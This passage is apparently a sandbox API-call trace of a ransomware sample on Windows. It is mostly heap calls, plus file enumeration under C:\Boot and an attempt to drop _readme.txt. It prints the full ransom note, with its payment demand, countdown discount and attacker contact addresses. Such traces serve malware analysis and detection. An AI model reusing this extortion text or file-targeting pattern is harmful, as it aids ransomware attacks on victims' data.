0x3077390 [0267.015] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.015] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.017] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.017] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.018] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.018] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0267.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.019] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.019] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.019] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.019] PathFindFileNameW (pszPath="") returned="" [0267.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.019] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.020] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0267.020] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x31099a8 [0267.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0267.020] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.020] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0267.020] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.020] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0267.021] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x311b6f8 [0267.021] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.021] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.021] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.021] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.021] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.021] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.021] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.021] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.021] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.022] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0267.022] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081918 | out: hHeap=0x640000) returned 1 [0267.022] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.022] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0267.022] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.022] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.022] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.023] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.023] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.024] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0267.024] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.024] HeapFree (in: hHeap=0x640000, 